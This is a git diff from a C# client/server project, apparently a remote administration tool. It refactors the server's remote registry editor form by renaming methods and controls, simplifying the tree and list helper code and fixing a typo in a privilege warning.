b/Client/Core/Commands/RegistryHandler.cs @@ -64,7 +64,7 @@ public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.Do } responsePacket.ErrorMsg = errorMsg; - responsePacket.Match = new RegSeekerMatch(newKeyName, null, 0); + responsePacket.Match = new RegSeekerMatch(newKeyName, new RegValueData[] { }, 0); responsePacket.ParentPath = packet.ParentPath; responsePacket.Execute(client); diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index 395e48901..9254bb325 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -127,7 +127,7 @@ private void ProcessKey(RegistryKey key, string keyName) } else { - AddMatch(keyName, null, 0); + AddMatch(keyName, new RegValueData[]{}, 0); } } diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs index afb93f98e..a164e5d0a 100644 --- a/Server/Controls/RegistryValueLstItem.cs +++ b/Server/Controls/RegistryValueLstItem.cs @@ -24,7 +24,7 @@ public int Compare(object x, object y) } } - internal class RegistryValueLstItem : ListViewItem + public class RegistryValueLstItem : ListViewItem { private string _regName { get; set; } private string _type { get; set; } diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index a22f65be9..f3d076629 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -22,7 +22,7 @@ public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetR { if (!packet.IsError) { - client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches); + client.Value.FrmRe.AddKeys(packet.RootKey, packet.Matches); } else { @@ -48,7 +48,7 @@ public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.Ge { if (!packet.IsError) { - client.Value.FrmRe.AddKeyToTree(packet.ParentPath, packet.Match); + client.Value.FrmRe.CreateNewKey(packet.ParentPath, packet.Match); } else { @@ -68,7 +68,7 @@ public static void HandleDeleteRegistryKey(xServer.Core.Packets.ClientPackets.Ge { if (!packet.IsError) { - client.Value.FrmRe.RemoveKeyFromTree(packet.ParentPath, packet.KeyName); + client.Value.FrmRe.RemoveKey(packet.ParentPath, packet.KeyName); } else { @@ -88,7 +88,7 @@ public static void HandleRenameRegistryKey(xServer.Core.Packets.ClientPackets.Ge { if (!packet.IsError) { - client.Value.FrmRe.RenameKeyFromTree(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); + client.Value.FrmRe.RenameKey(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); } else { @@ -112,7 +112,7 @@ public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets. { if (!packet.IsError) { - client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value); + client.Value.FrmRe.CreateValue(packet.KeyPath, packet.Value); } else { @@ -132,7 +132,7 @@ public static void HandleDeleteRegistryValue(xServer.Core.Packets.ClientPackets. { if (!packet.IsError) { - client.Value.FrmRe.DeleteValueFromList(packet.KeyPath, packet.ValueName); + client.Value.FrmRe.DeleteValue(packet.KeyPath, packet.ValueName); } else { @@ -152,7 +152,7 @@ public static void HandleRenameRegistryValue(xServer.Core.Packets.ClientPackets. { if (!packet.IsError) { - client.Value.FrmRe.RenameValueFromList(packet.KeyPath, packet.OldValueName, packet.NewValueName); + client.Value.FrmRe.RenameValue(packet.KeyPath, packet.OldValueName, packet.NewValueName); } else { @@ -172,7 +172,7 @@ public static void HandleChangeRegistryValue(xServer.Core.Packets.ClientPackets. { if (!packet.IsError) { - client.Value.FrmRe.ChangeValueFromList(packet.KeyPath, packet.Value); + client.Value.FrmRe.ChangeValue(packet.KeyPath, packet.Value); } else { diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs index b3e7e7ef5..29bdaa431 100644 --- a/Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Server/Forms/FrmRegistryEditor.Designer.cs @@ -32,7 +32,12 @@ private void InitializeComponent() System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegistryEditor)); this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); this.splitContainer = new System.Windows.Forms.SplitContainer(); + this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView(); this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components); + this.lstRegistryValues = new xServer.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); @@ -71,7 +76,7 @@ private void InitializeComponent() this.selectedItem_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.modifyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.modifyBinaryDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.modifyToolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.deleteToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.renameToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.lst_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -84,11 +89,6 @@ private void InitializeComponent() this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView(); - this.lstRegistryKeys = new xServer.Controls.AeroListView(); - this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tableLayoutPanel.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); this.splitContainer.Panel1.SuspendLayout(); @@ -131,17 +131,70 @@ private void InitializeComponent() // // splitContainer.Panel2 // - this.splitContainer.Panel2.Controls.Add(this.lstRegistryKeys); + this.splitContainer.Panel2.Controls.Add(this.lstRegistryValues); this.splitContainer.Size = new System.Drawing.Size(778, 508); this.splitContainer.SplitterDistance = 259; this.splitContainer.TabIndex = 0; // + // tvRegistryDirectory + // + this.tvRegistryDirectory.Dock = System.Windows.Forms.DockStyle.Fill; + this.tvRegistryDirectory.HideSelection = false; + this.tvRegistryDirectory.ImageIndex = 0; + this.tvRegistryDirectory.ImageList = this.imageRegistryDirectoryList; + this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); + this.tvRegistryDirectory.Name = "tvRegistryDirectory"; + this.tvRegistryDirectory.SelectedImageIndex = 0; + this.tvRegistryDirectory.Size = new System.Drawing.Size(259, 508); + this.tvRegistryDirectory.TabIndex = 0; + this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); + this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); + this.tvRegistryDirectory.BeforeSelect += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeSelect); + this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); + this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp); + // // imageRegistryDirectoryList // this.imageRegistryDirectoryList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryDirectoryList.ImageStream"))); this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent; this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png"); // + // lstRegistryValues + // + this.lstRegistryValues.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hType, + this.hValue}); + this.lstRegistryValues.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstRegistryValues.FullRowSelect = true; + this.lstRegistryValues.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lstRegistryValues.HideSelection = false; + this.lstRegistryValues.Location = new System.Drawing.Point(0, 0); + this.lstRegistryValues.Name = "lstRegistryValues"; + this.lstRegistryValues.Size = new System.Drawing.Size(515, 508); + this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList; + this.lstRegistryValues.TabIndex = 0; + this.lstRegistryValues.UseCompatibleStateImageBehavior = false; + this.lstRegistryValues.View = System.Windows.Forms.View.Details; + this.lstRegistryValues.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); + this.lstRegistryValues.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); + this.lstRegistryValues.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 173; + // + // hType + // + this.hType.Text = "Type"; + this.hType.Width = 104; + // + // hValue + // + this.hValue.Text = "Value"; + this.hValue.Width = 214; + // // imageRegistryKeyTypeList // this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); @@ -204,6 +257,7 @@ private void InitializeComponent() this.editToolStripMenuItem.Name = "editToolStripMenuItem"; this.editToolStripMenuItem.Size = new System.Drawing.Size(39, 20); this.editToolStripMenuItem.Text = "Edit"; + this.editToolStripMenuItem.DropDownOpening += new System.EventHandler(this.editToolStripMenuItem_DropDownOpening); // // modifyToolStripMenuItem1 // @@ -426,7 +480,7 @@ private void InitializeComponent() this.selectedItem_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.modifyToolStripMenuItem, this.modifyBinaryDataToolStripMenuItem, - this.toolStripSeparator3, + this.modifyToolStripSeparator1, this.deleteToolStripMenuItem1, this.renameToolStripMenuItem1}); this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip"; @@ -449,10 +503,10 @@ private void InitializeComponent() this.modifyBinaryDataToolStripMenuItem.Text = "Modify Binary Data..."; this.modifyBinaryDataToolStripMenuItem.Click += new System.EventHandler(this.modifyBinaryDataRegistryValue_Click); // - // toolStripSeparator3 + // modifyToolStripSeparator1 // - this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(181, 6); + this.modifyToolStripSeparator1.Name = "modifyToolStripSeparator1"; + this.modifyToolStripSeparator1.Size = new System.Drawing.Size(181, 6); // // deleteToolStripMenuItem1 // @@ -473,7 +527,7 @@ private void InitializeComponent() this.lst_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.newToolStripMenuItem1}); this.lst_ContextMenuStrip.Name = "lst_ContextMenuStrip"; - this.lst_ContextMenuStrip.Size = new System.Drawing.Size(99, 26); + this.lst_ContextMenuStrip.Size = new System.Drawing.Size(153, 48); // // newToolStripMenuItem1 // @@ -487,7 +541,7 @@ private void InitializeComponent() this.multiStringValueToolStripMenuItem1, this.expandableStringValueToolStripMenuItem1}); this.newToolStripMenuItem1.Name = "newToolStripMenuItem1"; - this.newToolStripMenuItem1.Size = new System.Drawing.Size(98, 22); + this.newToolStripMenuItem1.Size = new System.Drawing.Size(152, 22); this.newToolStripMenuItem1.Text = "New"; // // keyToolStripMenuItem1 @@ -544,62 +598,6 @@ private void InitializeComponent() this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value"; this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); // - // tvRegistryDirectory - // - this.tvRegistryDirectory.Dock = System.Windows.Forms.DockStyle.Fill; - this.tvRegistryDirectory.HideSelection = false; - this.tvRegistryDirectory.ImageIndex = 0; - this.tvRegistryDirectory.ImageList = this.imageRegistryDirectoryList; - this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); - this.tvRegistryDirectory.Name = "tvRegistryDirectory"; - this.tvRegistryDirectory.SelectedImageIndex = 0; - this.tvRegistryDirectory.Size = new System.Drawing.Size(259, 508); - this.tvRegistryDirectory.TabIndex = 0; - this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); - this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); - this.tvRegistryDirectory.BeforeSelect += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeSelect); - this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); - this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp); - // - // lstRegistryKeys - // - this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { - this.hName, - this.hType, - this.hValue}); - this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill; - this.lstRegistryKeys.FullRowSelect = true; - this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; - this.lstRegistryKeys.HideSelection = false; - this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0); - this.lstRegistryKeys.Name = "lstRegistryKeys"; - this.lstRegistryKeys.Size = new System.Drawing.Size(515, 508); - this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList; - this.lstRegistryKeys.TabIndex = 0; - this.lstRegistryKeys.UseCompatibleStateImageBehavior = false; - this.lstRegistryKeys.View = System.Windows.Forms.View.Details; - this.lstRegistryKeys.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); - this.lstRegistryKeys.ItemSelectionChanged += new System.Windows.Forms.ListViewItemSelectionChangedEventHandler(this.lstRegistryKeys_ItemSelectionChanged); - this.lstRegistryKeys.Enter += new System.EventHandler(this.lstRegistryKeys_Enter); - this.lstRegistryKeys.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); - this.lstRegistryKeys.Leave += new System.EventHandler(this.lstRegistryKeys_Leave); - this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); - // - // hName - // - this.hName.Text = "Name"; - this.hName.Width = 173; - // - // hType - // - this.hType.Text = "Type"; - this.hType.Width = 104; - // - // hValue - // - this.hValue.Text = "Value"; - this.hValue.Width = 214; - // // FrmRegistryEditor // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -637,7 +635,7 @@ private void InitializeComponent() private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; private System.Windows.Forms.SplitContainer splitContainer; private Controls.RegistryTreeView tvRegistryDirectory; - private Controls.AeroListView lstRegistryKeys; + private Controls.AeroListView lstRegistryValues; private System.Windows.Forms.StatusStrip statusStrip; private System.Windows.Forms.ToolStripStatusLabel selectedStripStatusLabel; private System.Windows.Forms.ImageList imageRegistryDirectoryList; @@ -661,7 +659,6 @@ private void InitializeComponent() private System.Windows.Forms.ContextMenuStrip selectedItem_ContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem modifyToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem modifyBinaryDataToolStripMenuItem; - private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem1; private System.Windows.Forms.ContextMenuStrip lst_ContextMenuStrip; @@ -693,5 +690,6 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem2; private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem2; private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripSeparator modifyToolStripSeparator1; } } \ No newline at end of file diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 43b0fe66a..1acd37a47 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -23,7 +23,7 @@ public partial class FrmRegistryEditor : Form #region Constants - private const string PRIVILEGE_WARNING = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete my not work properly!"; + private const string PRIVILEGE_WARNING = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!"; private const string DEFAULT_REG_VALUE = "(Default)"; @@ -41,7 +41,6 @@ public FrmRegistryEditor(Client c) private void FrmRegistryEditor_Load(object sender, EventArgs e) { - //Check if user is not currently running as administrator if (_connectClient.Value.AccountType != "Admin") { //Prompt user of not being admin @@ -53,8 +52,7 @@ private void FrmRegistryEditor_Load(object sender, EventArgs e) // Signal client to retrive the root nodes (indicated by null) new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(null).Execute(_connectClient); - // Set the ListSorter for the listView - this.lstRegistryKeys.ListViewItemSorter = new RegistryValueListItemComparer(); + this.lstRegistryValues.ListViewItemSorter = new RegistryValueListItemComparer(); if (_connectClient != null) this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); @@ -76,7 +74,6 @@ public void ShowErrorMessage(string errorMsg) { MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); }); - } public void PerformClose() @@ -98,6 +95,15 @@ private void AddRootKey(RegSeekerMatch match) tvRegistryDirectory.Nodes.Add(node); } + private TreeNode AddKeyToTree(TreeNode parent, RegSeekerMatch subKey) + { + TreeNode node = CreateNode(subKey.Key, subKey.Key, subKey.Data); + parent.Nodes.Add(node); + if (subKey.HasSubKeys) + node.Nodes.Add(new TreeNode()); + return node; + } + private TreeNode CreateNode(string key, string text, object tag) { return new TreeNode() @@ -108,7 +114,7 @@ private TreeNode CreateNode(string key, string text, object tag) }; } - public void AddKeysToTree(string rootName, RegSeekerMatch[] matches) + public void AddKeys(string rootName, RegSeekerMatch[] matches) { if (string.IsNullOrEmpty(rootName)) { @@ -129,7 +135,6 @@ public void AddKeysToTree(string rootName, RegSeekerMatch[] matches) } else { - TreeNode parent = GetTreeNode(rootName); if (parent != null) @@ -138,14 +143,9 @@ public void AddKeysToTree(string rootName, RegSeekerMatch[] matches) { tvRegistryDirectory.BeginUpdate(); - foreach (var match in matches) + foreach (RegSeekerMatch match in matches) { - //This will execute in the form thread - TreeNode node = CreateNode(match.Key, match.Key, match.Data); - if (match.HasSubKeys) - node.Nodes.Add(new TreeNode()); - - parent.Nodes.Add(node); + AddKeyToTree(parent, match); } parent.Expand(); @@ -155,39 +155,27 @@ public void AddKeysToTree(string rootName, RegSeekerMatch[] matches) } } - public void AddKeyToTree(string rootKey, RegSeekerMatch match) + public void CreateNewKey(string rootKey, RegSeekerMatch match) { TreeNode parent = GetTreeNode(rootKey); tvRegistryDirectory.Invoke((MethodInvoker)delegate { - //This will execute in the form thread - TreeNode node = CreateNode(match.Key, match.Key, match.Data); - if (match.HasSubKeys) - node.Nodes.Add(new TreeNode()); + TreeNode node = AddKeyToTree(parent, match); - parent.Nodes.Add(node); + node.EnsureVisible(); - if (!parent.IsExpanded) - { - tvRegistryDirectory.SelectedNode = parent; - tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand); - parent.Expand(); - } - else - { - tvRegistryDirectory.SelectedNode = node; - tvRegistryDirectory.LabelEdit = true; - node.BeginEdit(); - } + tvRegistryDirectory.SelectedNode = node; + node.Expand(); + tvRegistryDirectory.LabelEdit = true; + node.BeginEdit(); }); } - public void RemoveKeyFromTree(string rootKey, string subKey) + public void RemoveKey(string rootKey, string subKey) { TreeNode parent = GetTreeNode(rootKey); - //Make sure the key does exist if (parent.Nodes.ContainsKey(subKey)) { tvRegistryDirectory.Invoke((MethodInvoker)delegate { @@ -196,26 +184,22 @@ public void RemoveKeyFromTree(string rootKey, string subKey) } } - public void RenameKeyFromTree(string rootKey, string oldName, string newName) + public void RenameKey(string rootKey, string oldName, string newName) { TreeNode parent = GetTreeNode(rootKey); - //Make sure the key does exist if (parent.Nodes.ContainsKey(oldName)) { - int index = parent.Nodes.IndexOfKey(oldName); - tvRegistryDirectory.Invoke((MethodInvoker)delegate { - parent.Nodes[index].Text = newName; - parent.Nodes[index].Name = newName; + parent.Nodes[oldName].Text = newName; + parent.Nodes[oldName].Name = newName; - //Make sure that the newly renamed node is selected - //To allow update in the listview - if (tvRegistryDirectory.SelectedNode == parent.Nodes[index]) + //Make sure to reselect the node + if (tvRegistryDirectory.SelectedNode == parent.Nodes[newName]) tvRegistryDirectory.SelectedNode = null; - tvRegistryDirectory.SelectedNode = parent.Nodes[index]; + tvRegistryDirectory.SelectedNode = parent.Nodes[newName]; }); } } @@ -227,91 +211,50 @@ public void RenameKeyFromTree(string rootKey, string oldName, string newName) /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the fullpath; private TreeNode GetTreeNode(string path) { - string[] nodePath = null; - if (path.Contains("\\")) - { - nodePath = path.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries); - - // Only one valid node. Probably malformed - if (nodePath.Length < 2) - return null; - } - else - { - //Is a root node - nodePath = new string[] { path }; - } + string[] nodePath = path.Split(new char[] { '\\' }); - // Keep track of the last node to reference for traversal. - TreeNode lastNode = null; - - if (tvRegistryDirectory.Nodes.ContainsKey(nodePath[0])) - { - lastNode = tvRegistryDirectory.Nodes[nodePath[0]]; - } - else - { - //Node is missing + TreeNode lastNode = tvRegistryDirectory.Nodes[nodePath[0]]; + if (lastNode == null) return null; - } - // Go through the rest of the node path. for (int i = 1; i < nodePath.Length; i++) { - if (lastNode.Nodes.ContainsKey(nodePath[i])) - { - lastNode = lastNode.Nodes[nodePath[i]]; - } - else - { - //Node is missing + lastNode = lastNode.Nodes[nodePath[i]]; + if (lastNode == null) return null; - } } return lastNode; } #endregion - - #region ListView Helpfunctions - public void AddValueToList(string keyPath, RegValueData value) + public void CreateValue(string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); if (key != null ) { - lstRegistryKeys.Invoke((MethodInvoker)delegate + lstRegistryValues.Invoke((MethodInvoker)delegate { - List ValuesFromNode = null; - if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) { - ValuesFromNode = ((RegValueData[])key.Tag).ToList(); - ValuesFromNode.Add(value); - key.Tag = ValuesFromNode.ToArray(); - } - else - { - //The tag has a incorrect element or is missing data - ValuesFromNode = new List(); - ValuesFromNode.Add(value); - key.Tag = ValuesFromNode.ToArray(); - } + List ValuesFromNode = ((RegValueData[])key.Tag).ToList(); + ValuesFromNode.Add(value); + key.Tag = ValuesFromNode.ToArray(); - //Deactivate sorting - lstRegistryKeys.Sorting = SortOrder.None; + //Deactivate sorting (prevent sorting of new value) + lstRegistryValues.Sorting = SortOrder.None; if (tvRegistryDirectory.SelectedNode == key) { string kind = value.Kind.RegistryTypeToString(); string data = value.Kind.RegistryTypeToString(value.Data); RegistryValueLstItem item = new RegistryValueLstItem(value.Name, kind, data); - //unselect all - lstRegistryKeys.SelectedIndices.Clear(); - lstRegistryKeys.Items.Add(item); + lstRegistryValues.Items.Add(item); + //Unselect all + lstRegistryValues.SelectedIndices.Clear(); item.Selected = true; - lstRegistryKeys.LabelEdit = true; + lstRegistryValues.LabelEdit = true; item.BeginEdit(); } else @@ -322,31 +265,21 @@ public void AddValueToList(string keyPath, RegValueData value) } } - public void DeleteValueFromList(string keyPath, string valueName) + public void DeleteValue(string keyPath, string valueName) { TreeNode key = GetTreeNode(keyPath); if (key != null) { - lstRegistryKeys.Invoke((MethodInvoker)delegate + lstRegistryValues.Invoke((MethodInvoker)delegate { - List ValuesFromNode = null; - if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) - { - ValuesFromNode = ((RegValueData[])key.Tag).ToList(); - ValuesFromNode.RemoveAll(value => value.Name == valueName); - key.Tag = ValuesFromNode.ToArray(); - } - else - { - //Tag has incorrect element or is missing data - key.Tag = new RegValueData[] {}; - } + //Remove the values that have the specified name + key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); if (tvRegistryDirectory.SelectedNode == key) { valueName = String.IsNullOrEmpty(valueName) ? DEFAULT_REG_VALUE : valueName; - lstRegistryKeys.Items.RemoveByKey(valueName); + lstRegistryValues.Items.RemoveByKey(valueName); } else { @@ -357,90 +290,74 @@ public void DeleteValueFromList(string keyPath, string valueName) } } - public void RenameValueFromList(string keyPath, string oldName, string newName) + public void RenameValue(string keyPath, string oldName, string newName) { TreeNode key = GetTreeNode(keyPath); if (key != null) { - lstRegistryKeys.Invoke((MethodInvoker)delegate + lstRegistryValues.Invoke((MethodInvoker)delegate { - //Can only rename if the value exists in the tag - if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) - { - List ValuesFromNode = ((RegValueData[])key.Tag).ToList(); - var value = ValuesFromNode.Find(item => item.Name == oldName); - value.Name = newName; + var value = ((RegValueData[])key.Tag).First(item => item.Name == oldName); + value.Name = newName; - if (tvRegistryDirectory.SelectedNode == key) - { - var index = lstRegistryKeys.Items.IndexOfKey(oldName); - if (index != -1) - { - RegistryValueLstItem valueItem = (RegistryValueLstItem)lstRegistryKeys.Items[index]; - valueItem.RegName = newName; - } - } - else + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items[oldName] as RegistryValueLstItem; + if (valueItem != null) { - tvRegistryDirectory.SelectedNode = key; + valueItem.RegName = newName; } } + else + { + tvRegistryDirectory.SelectedNode = key; + } }); } } - public void ChangeValueFromList(string keyPath, RegValueData value) + public void ChangeValue(string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); if (key != null) { - lstRegistryKeys.Invoke((MethodInvoker)delegate + lstRegistryValues.Invoke((MethodInvoker)delegate { - //Can only change if the value exists in the tag - if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) - { - List ValuesFromNode = ((RegValueData[])key.Tag).ToList(); - var regValue = ValuesFromNode.Find(item => item.Name == value.Name); - regValue.Data = value.Data; + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); + regValue.Data = value.Data; - if (tvRegistryDirectory.SelectedNode == key) - { - //Make sure if it is a default value - string name = String.IsNullOrEmpty(value.Name) ? DEFAULT_REG_VALUE : value.Name; - var index = lstRegistryKeys.Items.IndexOfKey(name); - if (index != -1) - { - RegistryValueLstItem valueItem = (RegistryValueLstItem)lstRegistryKeys.Items[index]; - valueItem.Data = value.Kind.RegistryTypeToString(value.Data);; - } - } - else + if (tvRegistryDirectory.SelectedNode == key) + { + //Make sure if it is a default value + string name = String.IsNullOrEmpty(value.Name) ? DEFAULT_REG_VALUE : value.Name; + var valueItem = lstRegistryValues.Items[name] as RegistryValueLstItem; + if (valueItem != null) { - tvRegistryDirectory.SelectedNode = key; + valueItem.Data = value.Kind.RegistryTypeToString(value.Data);; } } + else + { + tvRegistryDirectory.SelectedNode = key; + } }); } } - private void UpdateLstRegistryKeys(TreeNode node) + private void UpdateLstRegistryValues(TreeNode node) { selectedStripStatusLabel.Text = node.FullPath; - RegValueData[] ValuesFromNode = null; - if (node.Tag != null && node.Tag.GetType() == typeof(RegValueData[])) - { - ValuesFromNode = (RegValueData[])node.Tag; - } + RegValueData[] ValuesFromNode = (RegValueData[])node.Tag; - PopulateLstRegistryKeys(ValuesFromNode); + PopulateLstRegistryValues(ValuesFromNode); } - private void PopulateLstRegistryKeys(RegValueData[] values) + private void PopulateLstRegistryValues(RegValueData[] values) { - lstRegistryKeys.Items.Clear(); + lstRegistryValues.Items.Clear(); // Make sure that the passed values are usable if (values != null && values.Length > 0) @@ -450,7 +367,7 @@ private void PopulateLstRegistryKeys(RegValueData[] values) string kind = value.Kind.RegistryTypeToString(); string data = value.Kind.RegistryTypeToString(value.Data); RegistryValueLstItem item = new RegistryValueLstItem(value.Name, kind, data); - lstRegistryKeys.Items.Add(item); + lstRegistryValues.Items.Add(item); } } } @@ -461,31 +378,25 @@ private void PopulateLstRegistryKeys(RegValueData[] values) private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) { - //No need to edit if it is null if (e.Label != null) { - //Prevent the change of the label e.CancelEdit = true; if (e.Label.Length > 0) { if (e.Node.Parent.Nodes.ContainsKey(e.Label)) { - //Prompt error MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); e.Node.BeginEdit(); } else { - //Normal rename action - //Perform Rename action new xServer.Core.Packets.ServerPackets.DoRenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label).Execute(_connectClient); tvRegistryDirectory.LabelEdit = false; } } else { - //Prompt error MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); e.Node.BeginEdit(); } @@ -499,7 +410,6 @@ private void 